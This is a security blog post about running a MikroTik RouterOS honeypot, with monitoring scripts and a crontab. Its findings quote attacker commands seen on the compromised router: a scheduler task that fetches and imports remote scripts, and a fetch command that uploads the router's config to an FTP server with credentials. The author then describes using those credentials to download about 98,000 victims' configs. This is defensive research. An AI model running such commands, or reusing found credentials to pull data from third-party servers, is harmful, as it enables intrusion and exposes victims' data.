Finding botnets with a MikroTik RouterOS honeypot

MikroTik RouterOS is a powerful feature packed software router that is pretty widely used across the world. I have been meaning to setup a honeypot and there has been a large number of high volume DDoS attacks involving compromised RouterOS routers so this seems like a good candidate for a first honeypot.  

In order to setup the honeypot I span up 2 cloud instances one for RouterOS and the other to capture logging. To setup the logging machine I span up a Debian machine and then started on deploying RouterOS. I couldn't find any information on how the routers were being compromised but there was rumours of a vulnerability that was being exploited so I decided to use a slightly older RouterOS version at the time, RouterOS v6.42rc52.

RouterOS Setup

To install RouterOS on the GCP you can navigate to the software\downloads page on the MikroTik website and from there expand the "Cloud Hosted Router" tab where you find VHDX images available for download. Once downloaded the image can be uploaded to a storage bucket and then used to create a virtual machine in Google Compute Engine. 

Here is what the RouterOS GUI looks like:



Once installed I ran through the setup and changed the admin password to something fairly secure.


Logging VM Setup


In order to get visibility on the RouterOS honeypot I decided to have two scripts one for capturing network traffic and the other to capture the RouterOS state.

Looking around the internet I found somebody that had already solved this problem so I borrowed some code from this Github repository.

To get the RouterOS state I  used the router_snooper.py python script 
  
import datetime
import json
import ssl
from typing import Tuple

from librouteros import connect
from librouteros.login import login_plain, login_token
import tablib

# config
# change these values before running the script
routeros_6_43_or_higher = False
honeypot_name = "HONEYPOT" #should be in uppercase
username = 'admin'
password = ''
host = '192.168.0.1' # ip of the routeros router
port = 8729 # port of the api-ssl service
log_dir = "/home/honeypot/logs/" # location of where to store the captured data

# ssl context
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# for new (plain text password)
if routeros_6_43_or_higher:
    method = (login_plain, )
else:
    # for old (with token)
    method = (login_token, )

# connect with the api
api = connect(
    username=username,
    password=password,
    host=host,
    ssl_wrapper=ctx.wrap_socket,
    login_methods=method,
    port=port
)


def tuple_to_dataset(input_tuple: Tuple, title: str, db):
    """
    Transforms a list of json of a table to a sheet of an excel file
    :param input_tuple: json input list
    :param title: title of the sheet
    :param db: the databook excel file
    """
    # skip empty tables
    if len(input_tuple) != 0:
        # ugly hack to fix invalid dimensions error for the files sheet
        if title == 'files':
            for dict_item in input_tuple:
                if 'size' not in dict_item:
                    dict_item['size'] = ' '
                if 'contents' not in dict_item:
                    dict_item['contents'] = ' '
        # ugly hack to fix invalid dimensions for the users sheet
        if title == 'users':
            for dict_item in input_tuple:
                if 'comment' not in dict_item:
                    dict_item['comment'] = ' '
        # read input string as json
        json_string = json.dumps(list(input_tuple))
        # transform json into excel dataset
        dataset = tablib.Dataset(title=title)
        dataset.json = json_string
        # add excel dataset as a sheet in the xlsx
        db.add_sheet(dataset)


try:
    # retrieve data from the api
    logs = api(cmd='/log/print')
    dns_cache = api(cmd='/ip/dns/cache/print')
    dns_static = api(cmd='/ip/dns/static/print')
    dhcp_server = api(cmd='/ip/dhcp-server/print')
    dhcp_relay = api(cmd="/ip/dhcp-relay/print")
    dhcp_client = api(cmd='/ip/dhcp-client/print')
    users = api(cmd='/user/print')
    arp = api(cmd='/ip/arp/print')
    files = api(cmd='/file/print')
    ip_route = api(cmd='/ip/route/print')
    bgp_ads = api(cmd="/routing/bgp/advertisements/print")

    # create an excel databook document
    db = tablib.Databook()

    # transform each entry as a sheet in the databook
    tuple_to_dataset(logs, 'logs', db)
    tuple_to_dataset(dns_cache, 'dns_cache', db)
    tuple_to_dataset(dhcp_client, 'dhcp_client', db)
    tuple_to_dataset(dhcp_relay, 'dhcp_relay', db)
    tuple_to_dataset(dhcp_server, 'dhcp_server', db)
    tuple_to_dataset(users, 'users', db)
    tuple_to_dataset(arp, 'arp', db)
    tuple_to_dataset(files, 'files', db)
    tuple_to_dataset(ip_route, 'ip_route', db)
    tuple_to_dataset(bgp_ads, 'bgp_advertisements', db)

    # retrieve the current date for the filename
    date = str(datetime.datetime.now())
    # store as logs-**datetime**.xlsx in the logs folder
    open(log_dir + 'logs-' + honeypot_name + '-' +  date + '.xlsx', 'wb').write(db.xlsx)
except Exception as e:
    # print the stacktrace
    print(e)
  

Next I setup the network capture using this script from the same repository. This script will run tcpdump for 10 minutes and save the output to disk. I will setup a cron job to run the script every 10 minutes later. All I need to modify is the IP address and the network interfaces values to that of my RouterOS VM. 

 #!/bin/bash
# script to start a tcppdump capture

# config: Update these values
# duration of the capture (10 minutes)
timespan=600
# name of the honeypot (should be uppercase)
honeypot_name="HONEYPOT"
# capture destination directory
filename="/home/honeypot/tcpdump/"
# host of the processor vm, to exclude this traffic
proc_ip="10.0.0.0"

# create the filename
datetime=$(date -Iminutes)
filename="${location}TCPDUMP-${honeypot_name}${datetime}.pcap"
# run tcpdump
command="timeout $timespan tcpdump -i eth0 host not ${proc_ip} -w $filename"
echo TCPDUMP
eval $command
 
Ok now the Cron job to schedule a periodic capture of the RouterOS state and the tcpdump bash script every 10 minutes. My script was borrowed from the same repo and looks something like this:

# Example crontab for a routeros honeypot
# Replace the crontab of the user with this file and update the file locations to the scripts
#
# m h  dom mon dow   command

# starts the api snooper every 5 minutes to retrieve the latest logs from the honeypot and stores it int he logs directory tagged with name and date
*/5 * * * * /usr/bin/python3 /home/honeypot/api-snooper/routeros_snooper.py > /tmp/api_snooper_listener.log 2>&1

# starts a tcpdump capture every 10 minutes and stores it tagged with honeypot name and date and time in the tcpdump directory
*/10 * * * * sudo /bin/bash /home/honeypot/tcpdump.sh > /tmp/tcpdump_listener.log 2>&1


Ok now for some final details. If the RouterOS was to become compromised I don't want to be part of a botnet so I setup a script in GCP to restore the RouterOS VM to a clean state every 24hrs. This should be enough to capture any data but not enough time to be recruited into activity.

    

 Findings

It wasn't before an unusual entry was spotted in the RouterOS API logs:


 :do { /system scheduler set U3 name="U7" on-event="/tool fetch url=hxxp://specialword[.]xyz/poll/1bf89ac8-0214-42c9-bd02-bdbc0cd114be mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U3 not found"}
 

Checking the RouterOS settings a new scheduled task had been added using the inbuilt RouterOS scheduled task functionality. The task polled the URL above every 10mins for a new script and imported it, in our case above we can see the import for the file name, 7wmp0b4s.rsc.


Another interesting command appears to backup the RouterOS state and then upload to an FTP server:


/export file=backup
/tool fetch src-path=backup.rsc mode=ftp address=159.69.64.130 dst-path=ef3a4865-d56e-42f3-b72a-537607e06a68.rsc upload=yes user=fuser password=fpass31337


Ok this is interesting we have the address and credentials of an FTP server lets see what we can find. 

First I use wget to get a directory listing of the FTP server.




Interesting... looks like the server contains a dump of all the comprised RouterOS routers. In total the FTP server contains 98051 Routers configuration files. Dumping all the configurations will take too long without one-by-one so I created a python script using Python asyncio for concurrent downloads.

Approximately 1 day later I had a complete dump of all 98051 RouterOS config files!




Checking the router configs we see compromised routers from all around the world with similar malicious scheduled tasks.






Investigating the various configs we see the similiar scheduled task pulling a script from a remote server and also config changes allowing RouterOS to act as a socks proxy, allowing the router to act like a proxy-server, so attackers can "relay" there attacks through the routers to make traffic appear as though it is coming from the vast collection of compromised routers.










Comments

Popular posts from this blog

Velociraptor-01: Velociraptor to Timesketch

Add authentication in front of your apps with a reverse proxy using Keycloak and OpenResty

GuLoader... analysing malicious PDF, VBS and PowerShell